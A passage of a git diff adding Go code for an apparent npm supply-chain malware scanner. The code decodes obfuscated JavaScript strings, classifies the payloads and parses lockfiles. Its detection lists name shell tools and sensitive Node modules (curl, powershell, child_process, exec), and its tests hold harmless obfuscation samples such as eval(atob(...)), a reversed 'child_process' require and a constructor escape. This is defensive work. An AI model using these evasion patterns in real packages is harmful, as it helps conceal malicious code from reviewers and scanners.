candidates = append(candidates, struct { + decoder string + data []byte + ok bool + }{decoder: "unicode_escape", data: []byte(value), ok: len(value) > 0}) + } + for _, candidate := range candidates { + if len(candidate.data) == 0 { + continue + } + if !looksRecovered(candidate.data) { + continue + } + return decodedValue{ + bytes: candidate.data, + text: string(candidate.data), + decoder: candidate.decoder, + classification: classifyPayload(candidate.data), + }, true + } + return decodedValue{}, false +} + +func mustBytes(data []byte, ok bool) []byte { + if !ok { + return nil + } + return data +} + +func decodeBase64(value string) ([]byte, bool) { + compact := strings.Map(func(r rune) rune { + if unicode.IsSpace(r) { + return -1 + } + return r + }, value) + if len(compact) < 12 { + return nil, false + } + encodings := []*base64.Encoding{ + base64.StdEncoding, + base64.RawStdEncoding, + base64.URLEncoding, + base64.RawURLEncoding, + } + for _, encoding := range encodings { + data, err := encoding.DecodeString(compact) + if err == nil { + return data, true + } + } + return nil, false +} + +func decodeHex(value string) ([]byte, bool) { + if len(value) < 16 || len(value)%2 != 0 { + return nil, false + } + for _, r := range value { + if !strings.ContainsRune("0123456789abcdefABCDEF", r) { + return nil, false + } + } + data, err := hex.DecodeString(value) + return data, err == nil +} + +func decodePercent(value string) ([]byte, bool) { + if !strings.Contains(value, "%") { + return nil, false + } + decoded, err := url.QueryUnescape(strings.ReplaceAll(value, "%20", "+")) + if err != nil || decoded == value { + return nil, false + } + return []byte(decoded), true +} + +func looksRecovered(data []byte) bool { + if len(data) == 0 { + return false + } + printable := 0 + for _, b := range data { + if b == '\n' || b == '\r' || b == '\t' || (b >= 0x20 && b <= 0x7e) { + printable++ + } + } + if float64(printable)/float64(len(data)) < 0.85 { + return isBinaryPayload(data) + } + text := strings.ToLower(string(data)) + return strings.ContainsAny(text, "{}();=$/") || + strings.Contains(text, "http") || + strings.Contains(text, "require") || + strings.Contains(text, "process") || + strings.Contains(text, "curl") +} + +func classifyPayload(data []byte) string { + text := strings.TrimSpace(strings.ToLower(string(data))) + switch { + case len(data) >= 2 && data[0] == 'M' && data[1] == 'Z': + return "pe" + case len(data) >= 4 && bytes.Equal(data[:4], []byte{0x7f, 'E', 'L', 'F'}): + return "elf" + case len(data) >= 4 && (bytes.Equal(data[:4], []byte{0xfe, 0xed, 0xfa, 0xce}) || bytes.Equal(data[:4], []byte{0xcf, 0xfa, 0xed, 0xfe})): + return "mach-o" + case len(data) >= 4 && bytes.Equal(data[:4], []byte{'P', 'K', 0x03, 0x04}): + return "archive" + case strings.HasPrefix(text, "{") || strings.HasPrefix(text, "["): + return "json" + case strings.HasPrefix(text, "#!") || strings.Contains(text, "/bin/sh") || strings.Contains(text, "curl ") || strings.Contains(text, "powershell"): + return "shell" + case strings.Contains(text, "function") || strings.Contains(text, "require(") || strings.Contains(text, "process.") || strings.Contains(text, "console."): + return "javascript" + case strings.HasPrefix(text, "http://") || strings.HasPrefix(text, "https://") || strings.Contains(text, "\nhttp"): + return "url-list" + case isBinaryPayload(data): + return "binary" + default: + return "unknown" + } +} + +func isBinaryPayload(data []byte) bool { + for _, b := range data { + if b == 0 { + return true + } + } + return false +} + +func entropy(value string) float64 { + if value == "" { + return 0 + } + counts := map[rune]int{} + for _, r := range value { + counts[r]++ + } + var total float64 + size := float64(len([]rune(value))) + for _, count := range counts { + p := float64(count) / size + total -= p * math.Log2(p) + } + return total +} + +type tokenKind int + +const ( + tokenIdent tokenKind = iota + tokenString + tokenNumber + tokenPunct +) + +type token struct { + kind tokenKind + value string + raw string + line int + column int +} + +func lex(data []byte) []token { + source := []rune(string(data)) + tokens := []token{} + line, column := 1, 1 + for i := 0; i < len(source); { + r := source[i] + if r == '\n' { + line++ + column = 1 + i++ + continue + } + if unicode.IsSpace(r) { + column++ + i++ + continue + } + if r == '/' && i+1 < len(source) && source[i+1] == '/' { + for i < len(source) && source[i] != '\n' { + i++ + column++ + } + continue + } + if r == '/' && i+1 < len(source) && source[i+1] == '*' { + i += 2 + column += 2 + for i+1 < len(source) && !(source[i] == '*' && source[i+1] == '/') { + if source[i] == '\n' { + line++ + column = 1 + } else { + column++ + } + i++ + } + if i+1 < len(source) { + i += 2 + column += 2 + } + continue + } + startLine, startColumn := line, column + if isIdentStart(r) { + start := i + for i < len(source) && isIdentPart(source[i]) { + i++ + column++ + } + tokens = append(tokens, token{kind: tokenIdent, value: string(source[start:i]), raw: string(source[start:i]), line: startLine, column: startColumn}) + continue + } + if unicode.IsDigit(r) { + start := i + for i < len(source) && (unicode.IsDigit(source[i]) || source[i] == 'x' || source[i] == 'X' || (source[i] >= 'a' && source[i] <= 'f') || (source[i] >= 'A' && source[i] <= 'F')) { + i++ + column++ + } + tokens = append(tokens, token{kind: tokenNumber, value: string(source[start:i]), raw: string(source[start:i]), line: startLine, column: startColumn}) + continue + } + if r == '\'' || r == '"' || r == '`' { + value, raw, next, newLine, newColumn := readString(source, i, line, column) + tokens = append(tokens, token{kind: tokenString, value: value, raw: raw, line: startLine, column: startColumn}) + i, line, column = next, newLine, newColumn + continue + } + tokens = append(tokens, token{kind: tokenPunct, value: string(r), raw: string(r), line: startLine, column: startColumn}) + i++ + column++ + } + return tokens +} + +func readString(source []rune, start int, line int, column int) (string, string, int, int, int) { + quote := source[start] + var value strings.Builder + var raw strings.Builder + raw.WriteRune(quote) + i := start + 1 + column++ + for i < len(source) { + r := source[i] + raw.WriteRune(r) + i++ + column++ + if r == '\n' { + line++ + column = 1 + } + if r == quote { + break + } + if r != '\\' || i >= len(source) { + value.WriteRune(r) + continue + } + esc := source[i] + raw.WriteRune(esc) + i++ + column++ + switch esc { + case 'n': + value.WriteRune('\n') + case 'r': + value.WriteRune('\r') + case 't': + value.WriteRune('\t') + case 'x': + if i+1 <= len(source) { + if decoded, ok := parseHexRunes(source, i, 2); ok { + value.WriteRune(decoded) + raw.WriteString(string(source[i : i+2])) + i += 2 + column += 2 + } + } + case 'u': + if i+3 < len(source) { + if decoded, ok := parseHexRunes(source, i, 4); ok { + value.WriteRune(decoded) + raw.WriteString(string(source[i : i+4])) + i += 4 + column += 4 + } + } + default: + value.WriteRune(esc) + } + } + return value.String(), raw.String(), i, line, column +} + +func parseHexRunes(source []rune, start int, n int) (rune, bool) { + if start+n > len(source) { + return 0, false + } + value, err := strconv.ParseInt(string(source[start:start+n]), 16, 32) + if err != nil { + return 0, false + } + return rune(value), true +} + +func isIdentStart(r rune) bool { + return r == '_' || r == '$' || unicode.IsLetter(r) +} + +func isIdentPart(r rune) bool { + return isIdentStart(r) || unicode.IsDigit(r) +} + +func splitTopLevel(tokens []token, sep string) [][]token { + parts := [][]token{} + start := 0 + depth := 0 + for i, token := range tokens { + switch token.value { + case "(", "[", "{": + depth++ + case ")", "]", "}": + depth-- + } + if depth == 0 && token.value == sep { + parts = append(parts, trimTokens(tokens[start:i])) + start = i + 1 + } + } + parts = append(parts, trimTokens(tokens[start:])) + return parts +} + +func findMatching(tokens []token, open int) int { + if open < 0 || open >= len(tokens) { + return -1 + } + closeValue := map[string]string{"(": ")", "[": "]", "{": "}"}[tokens[open].value] + if closeValue == "" { + return -1 + } + depth := 0 + for i := open; i < len(tokens); i++ { + if tokens[i].value == tokens[open].value { + depth++ + } + if tokens[i].value == closeValue { + depth-- + if depth == 0 { + return i + } + } + } + return -1 +} + +func trimTokens(tokens []token) []token { + for len(tokens) > 0 && tokens[0].value == "," { + tokens = tokens[1:] + } + for len(tokens) > 0 && tokens[len(tokens)-1].value == "," { + tokens = tokens[:len(tokens)-1] + } + return tokens +} + +func trimParens(tokens []token) []token { + for len(tokens) >= 2 && tokens[0].value == "(" && findMatching(tokens, 0) == len(tokens)-1 { + tokens = tokens[1 : len(tokens)-1] + } + return tokens +} + +func exprText(tokens []token) string { + var b strings.Builder + for _, token := range tokens { + b.WriteString(token.raw) + } + return b.String() +} + +func readSourceFile(root, rel string, maxBytes int64) ([]byte, error) { + if !filepath.IsLocal(rel) { + return nil, fmt.Errorf("unsafe relative path %q", rel) + } + f, err := os.OpenInRoot(root, filepath.FromSlash(rel)) + if err != nil { + return nil, fmt.Errorf("open javascript target %q: %w", rel, err) + } + defer func() { + _ = f.Close() + }() + data, err := io.ReadAll(io.LimitReader(f, maxBytes+1)) + if err != nil { + return nil, fmt.Errorf("read javascript target %q: %w", rel, err) + } + if int64(len(data)) > maxBytes { + return nil, fmt.Errorf("javascript target %q exceeds %d bytes", rel, maxBytes) + } + return data, nil +} + +func writeDecodedPayload(ctx context.Context, dir, hash string, data []byte) error { + if err := ctx.Err(); err != nil { + return err + } + if len(hash) != sha256.Size*2 || filepath.Base(hash) != hash { + return fmt.Errorf("invalid decoded payload hash %q", hash) + } + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create decoded payload dir: %w", err) + } + path := filepath.Join(dir, hash+".bin") + tmp, err := os.CreateTemp(dir, "."+hash+".tmp-*") + if err != nil { + return fmt.Errorf("create decoded payload temp file: %w", err) + } + tmpPath := tmp.Name() + removeTemp := true + defer func() { + if removeTemp { + _ = os.Remove(tmpPath) + } + }() + if _, err := tmp.Write(data); err != nil { + _ = tmp.Close() + return fmt.Errorf("write decoded payload temp file: %w", err) + } + if err := tmp.Chmod(0o600); err != nil { + _ = tmp.Close() + return fmt.Errorf("chmod decoded payload temp file: %w", err) + } + if err := tmp.Close(); err != nil { + return fmt.Errorf("close decoded payload temp file: %w", err) + } + if err := os.Rename(tmpPath, path); err != nil { + return fmt.Errorf("replace decoded payload: %w", err) + } + removeTemp = false + return nil +} + +func isJavaScriptType(kind string) bool { + switch kind { + case "javascript", "javascript_react", "typescript", "typescript_react": + return true + default: + return false + } +} + +func isVarKeyword(value string) bool { + return value == "const" || value == "let" || value == "var" +} + +func isSink(value string) bool { + switch value { + case "eval", "Function", "setTimeout", "setInterval", "require", "import": + return true + default: + return false + } +} + +func isGlobalAlias(value string) bool { + switch value { + case "globalThis", "global", "window", "self", "process", "module", "exports": + return true + default: + return false + } +} + +func isSensitiveGlobal(value string) bool { + switch value { + case "process", "module", "exports", "require", "import", "env", "child_process", "fs", "http", "https", "net", "exec", "spawn": + return true + default: + return false + } +} + +func readLimit(maxFileSize int64) int64 { + if maxFileSize > 0 { + return maxFileSize + } + return defaultReadLimit +} + +func sortResult(result *Result) { + slices.SortFunc(result.Findings, func(a, b rules.Finding) int { + return strings.Compare(rules.FindingIdentity(a)+"\x00"+a.ID, rules.FindingIdentity(b)+"\x00"+b.ID) + }) + slices.SortFunc(result.Warnings, func(a, b rules.Warning) int { + return strings.Compare(a.Path+"\x00"+a.Code+"\x00"+a.Message, b.Path+"\x00"+b.Code+"\x00"+b.Message) + }) +} + +func findingID(finding rules.Finding) string { + parts := []string{rules.FindingIdentity(finding)} + for _, evidence := range finding.Evidence { + parts = append(parts, + evidence.Kind, + evidence.Value, + evidence.Expression, + evidence.DecodedSHA256, + evidence.Decoder, + strconv.Itoa(evidence.Line), + strconv.Itoa(evidence.Column), + ) + } + sum := sha256.Sum256([]byte(strings.Join(parts, "\x00"))) + return "sha256:" + hex.EncodeToString(sum[:]) +} + +func trimEvidence(value string) string { + value = strings.TrimSpace(value) + if len(value) > 120 { + return value[:120] + } + return value +} + +func firstNonEmpty(values ...string) string { + for _, value := range values { + if value != "" { + return value + } + } + return "" +} diff --git a/internal/node/jsanalysis/jsanalysis_test.go b/internal/node/jsanalysis/jsanalysis_test.go new file mode 100644 index 0000000..97d96e6 --- /dev/null +++ b/internal/node/jsanalysis/jsanalysis_test.go @@ -0,0 +1,179 @@ +package jsanalysis + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "malox/internal/rules" +) + +func TestAnalyzeRecoversEncodedPayloadAndWritesCache(t *testing.T) { + root := t.TempDir() + cacheDir := t.TempDir() + body := "const payload = ['Y29u', 'c29sZS5sb2coMSk='].join(''); eval(atob(payload));\n" + writeJSFile(t, root, "node_modules/pkg/index.js", body) + + result, err := Analyze(t.Context(), Options{ + Root: root, + DecodedPayloadDir: cacheDir, + MaxFileSize: 1024, + Files: []File{{ + Path: "node_modules/pkg/index.js", + SHA256: sha256String(body), + Type: "javascript", + PackageOwner: "pkg", + Size: int64(len(body)), + }}, + }) + if err != nil { + t.Fatalf("Analyze() error = %v", err) + } + + finding := findFinding(t, result, "jsanalysis:encoded-sink-flow") + if finding.Severity != "high" || finding.Confidence != "weak-signal" { + t.Fatalf("finding risk = %s/%s, want high/weak-signal", finding.Severity, finding.Confidence) + } + if finding.PackageOwner != "pkg" { + t.Fatalf("PackageOwner = %q, want pkg", finding.PackageOwner) + } + if finding.Evidence[0].Classification != "javascript" || finding.Evidence[0].DecodedSHA256 == "" { + t.Fatalf("evidence = %#v, want javascript decoded hash", finding.Evidence[0]) + } + + cachePath := filepath.Join(cacheDir, finding.Evidence[0].DecodedSHA256+".bin") + data, err := os.ReadFile(cachePath) + if err != nil { + t.Fatalf("ReadFile(decoded cache) error = %v", err) + } + if string(data) != "console.log(1)" { + t.Fatalf("cached decoded payload = %q", string(data)) + } + if strings.Contains(cachePath, "node_modules") { + t.Fatalf("decoded cache path contains project path: %s", cachePath) + } +} + +func TestAnalyzeDetectsHexPercentUnicodeAndBracketGlobal(t *testing.T) { + root := t.TempDir() + body := strings.Join([]string{ + `const h = "636f6e736f6c652e6c6f67283129";`, + `const p = "%72%65%71%75%69%72%65%28%27%66%73%27%29";`, + `const u = "\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0031\u0029";`, + `globalThis["pro" + "cess"];`, + }, "\n") + writeJSFile(t, root, "src/index.js", body) + + result, err := Analyze(t.Context(), Options{ + Root: root, + MaxFileSize: 4096, + Files: []File{{ + Path: "src/index.js", + SHA256: sha256String(body), + Type: "javascript", + Size: int64(len(body)), + }}, + }) + if err != nil { + t.Fatalf("Analyze() error = %v", err) + } + + decoders := map[string]bool{} + for _, finding := range result.Findings { + decoders[finding.Evidence[0].Decoder] = true + } + for _, decoder := range []string{"hex", "percent", "unicode_escape"} { + if !decoders[decoder] { + t.Fatalf("decoder %q not found in findings: %#v", decoder, result.Findings) + } + } + findFinding(t, result, "jsanalysis:bracket-global-access") +} + +func TestAnalyzeReportsDecodeLimit(t *testing.T) { + root := t.TempDir() + body := `const payload = "Y29uc29sZS5sb2coMSk=";` + writeJSFile(t, root, "index.js", body) + + result, err := Analyze(t.Context(), Options{ + Root: root, + MaxFileSize: 1024, + MaxDecodedBytes: 4, + Files: []File{{ + Path: "index.js", + SHA256: sha256String(body), + Type: "javascript", + Size: int64(len(body)), + }}, + }) + if err != nil { + t.Fatalf("Analyze() error = %v", err) + } + if len(result.Findings) != 0 { + t.Fatalf("Findings = %#v, want none when decoded payload exceeds limit", result.Findings) + } + if len(result.Warnings) != 1 || result.Warnings[0].Code != "jsanalysis_decode_limit" { + t.Fatalf("Warnings = %#v, want decode limit warning", result.Warnings) + } +} + +func TestAnalyzeDetectsStringTransformsAndConstructorEscape(t *testing.T) { + root := t.TempDir() + body := strings.Join([]string{ + `const cmd = "sj.elif_dlihc".split("").reverse().join("");`, + `require(cmd);`, + `const fn = this.constructor.constructor("return process")();`, + }, "\n") + writeJSFile(t, root, "index.cjs", body) + + result, err := Analyze(t.Context(), Options{ + Root: root, + MaxFileSize: 2048, + Files: []File{{ + Path: "index.cjs", + SHA256: sha256String(body), + Type: "javascript", + Size: int64(len(body)), + }}, + }) + if err != nil { + t.Fatalf("Analyze() error = %v", err) + } + findFinding(t, result, "jsanalysis:string-sink-flow") + findFinding(t, result, "jsanalysis:constructor-escape") +} + +func writeJSFile(t *testing.T, root, rel, body string) { + t.Helper() + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + when := time.Date(2026, 6, 18, 12, 0, 0, 0, time.UTC) + if err := os.Chtimes(path, when, when); err != nil { + t.Fatal(err) + } +} + +func findFinding(t *testing.T, result Result, ruleID string) rules.Finding { + t.Helper() + for _, finding := range result.Findings { + if finding.RuleID == ruleID { + return finding + } + } + t.Fatalf("finding %q not found in %#v", ruleID, result.Findings) + return rules.Finding{} +} + +func sha256String(value string) string { + sum := sha256.Sum256([]byte(value)) + return hex.EncodeToString(sum[:]) +} diff --git a/internal/node/manifest.go b/internal/node/manifest.go new file mode 100644 index 0000000..03a6223 --- /dev/null +++ b/internal/node/manifest.go @@ -0,0 +1,188 @@ +package node + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "slices" + "strings" +) + +type manifest struct { + Name string `json:"name"` + Version string `json:"version"` + PackageManager string `json:"packageManager"` + Author json.RawMessage `json:"author"` + Maintainer json.RawMessage `json:"maintainer"` + Maintainers json.RawMessage `json:"maintainers"` + Contributors json.RawMessage `json:"contributors"` + Publisher json.RawMessage `json:"publisher"` + Scripts map[string]string `json:"scripts"` + Dependencies map[string]string `json:"dependencies"` + DevDependencies map[string]string `json:"devDependencies"` + OptionalDependencies map[string]string `json:"optionalDependencies"` + PeerDependencies map[string]string `json:"peerDependencies"` +} + +func parseManifest(path string, data []byte) (manifest, error) { + decoder := json.NewDecoder(bytes.NewReader(data)) + decoder.UseNumber() + + var doc manifest + if err := decoder.Decode(&doc); err != nil { + return manifest{}, fmt.Errorf("parse package manifest: %w", err) + } + return doc, nil +} + +func dependenciesFromManifest(path string, doc manifest) []Dependency { + out := []Dependency{} + for _, group := range []struct { + kind string + deps map[string]string + }{ + {kind: "dependencies", deps: doc.Dependencies}, + {kind: "dev_dependencies", deps: doc.DevDependencies}, + {kind: "optional_dependencies", deps: doc.OptionalDependencies}, + {kind: "peer_dependencies", deps: doc.PeerDependencies}, + } { + names := sortedMapKeys(group.deps) + for _, name := range names { + version := group.deps[name] + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "package.json", + DependencyType: group.kind, + SourcePath: path, + }) + } + } + return out +} + +func packageScriptsFromManifest(path string, doc manifest) []PackageScript { + if len(doc.Scripts) == 0 { + return []PackageScript{} + } + + name := doc.Name + version := doc.Version + if name == "" { + if owner := PackageOwner(path); owner != "" { + name = owner + } + } + + packagePath := packageDirFromManifest(path) + purl := NpmPURL(name, version) + maintainers := peopleFromManifest(doc) + scripts := make([]PackageScript, 0, len(doc.Scripts)) + for _, scriptName := range sortedMapKeys(doc.Scripts) { + scripts = append(scripts, PackageScript{ + PackageName: name, + PackageVersion: version, + PURL: purl, + Maintainers: maintainers, + PackageManager: "package.json", + SourcePath: path, + PackagePath: packagePath, + ScriptName: scriptName, + Command: doc.Scripts[scriptName], + }) + } + return scripts +} + +func peopleFromManifest(doc manifest) []string { + people := []string{} + for _, raw := range []json.RawMessage{ + doc.Author, + doc.Maintainer, + doc.Maintainers, + doc.Contributors, + doc.Publisher, + } { + people = append(people, parsePeople(raw)...) + } + return uniqueSortedStrings(people) +} + +func parsePeople(raw json.RawMessage) []string { + raw = bytes.TrimSpace(raw) + if len(raw) == 0 || bytes.Equal(raw, []byte("null")) { + return nil + } + + var text string + if err := json.Unmarshal(raw, &text); err == nil { + text = strings.TrimSpace(text) + if text == "" { + return nil + } + return []string{text} + } + + var object struct { + Name string `json:"name"` + Email string `json:"email"` + URL string `json:"url"` + } + if err := json.Unmarshal(raw, &object); err == nil { + values := []string{} + for _, value := range []string{object.Name, object.Email, object.URL} { + value = strings.TrimSpace(value) + if value != "" { + values = append(values, value) + } + } + return values + } + + var items []json.RawMessage + if err := json.Unmarshal(raw, &items); err != nil { + return nil + } + people := []string{} + for _, item := range items { + people = append(people, parsePeople(item)...) + } + return people +} + +func uniqueSortedStrings(values []string) []string { + if len(values) == 0 { + return []string{} + } + slices.Sort(values) + out := values[:0] + var previous string + for i, value := range values { + if i > 0 && strings.EqualFold(value, previous) { + continue + } + out = append(out, value) + previous = value + } + return out +} + +func readJSONStrict(r io.Reader, target any) error { + decoder := json.NewDecoder(r) + decoder.UseNumber() + return decoder.Decode(target) +} + +func sortedMapKeys[V any](m map[string]V) []string { + if len(m) == 0 { + return []string{} + } + keys := make([]string, 0, len(m)) + for key := range m { + keys = append(keys, key) + } + slices.Sort(keys) + return keys +} diff --git a/internal/node/npm.go b/internal/node/npm.go new file mode 100644 index 0000000..ffab63c --- /dev/null +++ b/internal/node/npm.go @@ -0,0 +1,158 @@ +package node + +import ( + "bytes" + "fmt" + "path/filepath" + "strings" +) + +type npmLock struct { + LockfileVersion int `json:"lockfileVersion"` + Packages map[string]npmPackage `json:"packages"` + Dependencies map[string]npmLegacy `json:"dependencies"` +} + +type npmPackage struct { + Name string `json:"name"` + Version string `json:"version"` + Resolved string `json:"resolved"` + Integrity string `json:"integrity"` + Link bool `json:"link"` + Dev bool `json:"dev"` + Optional bool `json:"optional"` + DevOptional bool `json:"devOptional"` + HasInstallScript bool `json:"hasInstallScript"` + Dependencies map[string]string `json:"dependencies"` + OptionalDeps map[string]string `json:"optionalDependencies"` +} + +type npmLegacy struct { + Version string `json:"version"` + Resolved string `json:"resolved"` + Integrity string `json:"integrity"` + Dev bool `json:"dev"` + Optional bool `json:"optional"` + Dependencies map[string]npmLegacy `json:"dependencies"` +} + +func parseNpmLock(path, manager string, data []byte, manifestTypes map[string]string) ([]Dependency, error) { + var lock npmLock + if err := readJSONStrict(bytes.NewReader(data), &lock); err != nil { + return nil, fmt.Errorf("parse %s: %w", filepath.Base(path), err) + } + + if len(lock.Packages) > 0 { + return dependenciesFromNpmPackages(path, manager, lock.Packages, manifestTypes), nil + } + return dependenciesFromNpmLegacy(path, manager, lock.Dependencies, manifestTypes), nil +} + +func dependenciesFromNpmPackages( + path string, + manager string, + packages map[string]npmPackage, + manifestTypes map[string]string, +) []Dependency { + locations := sortedMapKeys(packages) + out := make([]Dependency, 0, len(locations)) + for _, location := range locations { + if location == "" { + continue + } + pkg := packages[location] + if pkg.Link || pkg.Version == "" { + continue + } + name := pkg.Name + if name == "" { + name = nameFromNodeModulesPath(location) + } + if name == "" { + continue + } + depType := npmDependencyType(name, pkg, manifestTypes) + out = append(out, Dependency{ + Name: name, + Version: pkg.Version, + PURL: NpmPURL(name, pkg.Version), + PackageManager: manager, + DependencyType: depType, + SourcePath: path, + PackagePath: filepath.ToSlash(location), + Integrity: pkg.Integrity, + Resolved: pkg.Resolved, + HasInstallScript: pkg.HasInstallScript, + }) + } + return out +} + +func dependenciesFromNpmLegacy( + path string, + manager string, + deps map[string]npmLegacy, + manifestTypes map[string]string, +) []Dependency { + out := []Dependency{} + var walk func(parent string, items map[string]npmLegacy) + walk = func(parent string, items map[string]npmLegacy) { + for _, name := range sortedMapKeys(items) { + dep := items[name] + location := filepath.ToSlash(filepath.Join(parent, "node_modules", name)) + depType := manifestTypes[name] + if depType == "" { + depType = "transitive" + } + if dep.Dev { + depType = "dev" + } + if dep.Optional { + depType = "optional" + } + out = append(out, Dependency{ + Name: name, + Version: dep.Version, + PURL: NpmPURL(name, dep.Version), + PackageManager: manager, + DependencyType: depType, + SourcePath: path, + PackagePath: location, + Integrity: dep.Integrity, + Resolved: dep.Resolved, + }) + walk(location, dep.Dependencies) + } + } + walk("", deps) + return out +} + +func npmDependencyType(name string, pkg npmPackage, manifestTypes map[string]string) string { + switch { + case pkg.DevOptional: + return "dev_optional" + case pkg.Dev: + return "dev" + case pkg.Optional: + return "optional" + case manifestTypes[name] != "": + return manifestTypes[name] + default: + return "transitive" + } +} + +func nameFromNodeModulesPath(path string) string { + parts := strings.Split(filepath.ToSlash(path), "/") + for i := len(parts) - 1; i >= 0; i-- { + if parts[i] != "node_modules" || i+1 >= len(parts) { + continue + } + if strings.HasPrefix(parts[i+1], "@") && i+2 < len(parts) { + return parts[i+1] + "/" + parts[i+2] + } + return parts[i+1] + } + return "" +} diff --git a/internal/node/owner.go b/internal/node/owner.go new file mode 100644 index 0000000..3716d70 --- /dev/null +++ b/internal/node/owner.go @@ -0,0 +1,42 @@ +package node + +import ( + "path/filepath" + "strings" +) + +// PackageOwner returns the owning npm package name for common node_modules layouts. +func PackageOwner(rel string) string { + owner, _ := PackageOwnerPath(rel) + return owner +} + +// PackageOwnerPath returns the package owner and package root path for rel. +func PackageOwnerPath(rel string) (string, string) { + parts := strings.Split(filepath.ToSlash(rel), "/") + for i := len(parts) - 1; i >= 0; i-- { + if parts[i] != "node_modules" || i+1 >= len(parts) { + continue + } + + name := parts[i+1] + end := i + 2 + if strings.HasPrefix(name, "@") && i+2 < len(parts) { + name += "/" + parts[i+2] + end = i + 3 + } + if name == ".pnpm" || name == ".store" || name == ".cache" { + continue + } + return name, strings.Join(parts[:end], "/") + } + return "", "" +} + +func packageDirFromManifest(path string) string { + path = filepath.ToSlash(path) + if !strings.HasSuffix(path, "/package.json") { + return "" + } + return strings.TrimSuffix(path, "/package.json") +} diff --git a/internal/node/pnpm.go b/internal/node/pnpm.go new file mode 100644 index 0000000..ee7b7ef --- /dev/null +++ b/internal/node/pnpm.go @@ -0,0 +1,137 @@ +package node + +import ( + "bytes" + "fmt" + "path/filepath" + "strings" + + "gopkg.in/yaml.v3" +) + +type pnpmLock struct { + LockfileVersion any `yaml:"lockfileVersion"` + Importers map[string]pnpmImporter `yaml:"importers"` + Packages map[string]pnpmPackage `yaml:"packages"` +} + +type pnpmImporter struct { + Dependencies map[string]pnpmImporterDependency `yaml:"dependencies"` + DevDependencies map[string]pnpmImporterDependency `yaml:"devDependencies"` + OptionalDependencies map[string]pnpmImporterDependency `yaml:"optionalDependencies"` +} + +type pnpmImporterDependency struct { + Specifier string `yaml:"specifier"` + Version string `yaml:"version"` +} + +type pnpmPackage struct { + Resolution struct { + Integrity string `yaml:"integrity"` + Tarball string `yaml:"tarball"` + } `yaml:"resolution"` + Dev bool `yaml:"dev"` + Optional bool `yaml:"optional"` +} + +func parsePnpmLock(path string, data []byte) ([]Dependency, error) { + var lock pnpmLock + decoder := yaml.NewDecoder(bytes.NewReader(data)) + if err := decoder.Decode(&lock); err != nil { + return nil, fmt.Errorf("parse pnpm lockfile: %w", err) + } + + out := []Dependency{} + out = append(out, dependenciesFromPnpmImporters(path, lock.Importers)...) + out = append(out, dependenciesFromPnpmPackages(path, lock.Packages)...) + return dedupeDependencies(out), nil +} + +func dependenciesFromPnpmImporters(path string, importers map[string]pnpmImporter) []Dependency { + out := []Dependency{} + for _, importerPath := range sortedMapKeys(importers) { + importer := importers[importerPath] + for _, group := range []struct { + kind string + deps map[string]pnpmImporterDependency + }{ + {kind: "dependencies", deps: importer.Dependencies}, + {kind: "dev_dependencies", deps: importer.DevDependencies}, + {kind: "optional_dependencies", deps: importer.OptionalDependencies}, + } { + for _, name := range sortedMapKeys(group.deps) { + dep := group.deps[name] + version := pnpmCleanVersion(dep.Version) + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "pnpm", + DependencyType: group.kind, + SourcePath: path, + PackagePath: filepath.ToSlash(filepath.Join(importerPath, "node_modules", name)), + }) + } + } + } + return out +} + +func dependenciesFromPnpmPackages(path string, packages map[string]pnpmPackage) []Dependency { + out := []Dependency{} + for _, key := range sortedMapKeys(packages) { + name, version, ok := parsePnpmPackageKey(key) + if !ok { + continue + } + pkg := packages[key] + depType := "transitive" + if pkg.Dev { + depType = "dev" + } + if pkg.Optional { + depType = "optional" + } + out = append(out, Dependency{ + Name: name, + Version: version, + PURL: NpmPURL(name, version), + PackageManager: "pnpm", + DependencyType: depType, + SourcePath: path, + PackagePath: "node_modules/.pnpm/" + strings.TrimPrefix(key, "/"), + Integrity: pkg.Resolution.Integrity, + Resolved: pkg.Resolution.Tarball, + }) + } + return out +} + +func parsePnpmPackageKey(key string) (string, string, bool) { + key = strings.TrimPrefix(strings.TrimSpace(key), "/") + if key == "" { + return "", "", false + } + if before, _, ok := strings.Cut(key, "("); ok { + key = before + } + idx := strings.LastIndex(key, "@") + if idx <= 0 || idx == len(key)-1 { + return "", "", false + } + name := key[:idx] + version := pnpmCleanVersion(key[idx+1:]) + if name == "" || version == "" { + return "", "", false + } + return name, version, true +} + +func pnpmCleanVersion(value string) string { + value = strings.TrimSpace(value) + if before, _, ok := strings.Cut(value, "("); ok { + value = before + } + return value +} diff --git a/internal/node/purl.go b/internal/node/purl.go new file mode 100644 index 0000000..2ae8c82 --- /dev/null +++ b/internal/node/purl.go @@ -0,0 +1,57 @@ +package node + +import ( + "net/url" + "strings" +) + +// NpmPURL returns a Package URL for an npm package when the name and version are exact. +func NpmPURL(name, version string) string { + name = strings.TrimSpace(name) + version = strings.TrimSpace(version) + if name == "" || version == "" || !isExactVersion(version) { + return "" + } + if strings.HasPrefix(name, "@") { + scope, pkg, ok := strings.Cut(name, "/") + if !ok || pkg == "" { + return "" + } + return "pkg:npm/" + escapePURLPath(scope) + "/" + escapePURLPath(pkg) + "@" + escapePURLVersion(version) + } + return "pkg:npm/" + escapePURLPath(name) + "@" + escapePURLVersion(version) +} + +// DenoPURL returns a Package URL for a Deno dependency when an exact version is available. +func DenoPURL(name, version string) string { + name = strings.TrimSpace(name) + version = strings.TrimSpace(version) + if name == "" || version == "" || !isExactVersion(version) { + return "" + } + return "pkg:deno/" + escapePURLPath(name) + "@" + escapePURLVersion(version) +} + +func escapePURLPath(value string) string { + escaped := strings.ReplaceAll(url.PathEscape(value), "+", "%20") + return strings.ReplaceAll(escaped, "@", "%40") +} + +func escapePURLVersion(value string) string { + return strings.ReplaceAll(url.PathEscape(value), "+", "%20") +} + +func isExactVersion(version string) bool { + if version == "" { + return false + } + if strings.ContainsAny(version, " <>|*~^") { + return false + } + for _, prefix := range []string{"npm:", "workspace:", "file:", "link:", "git:", "github:", "http://", "https://"} { + if strings.HasPrefix(version, prefix) { + return false + } + } + return true +} diff --git 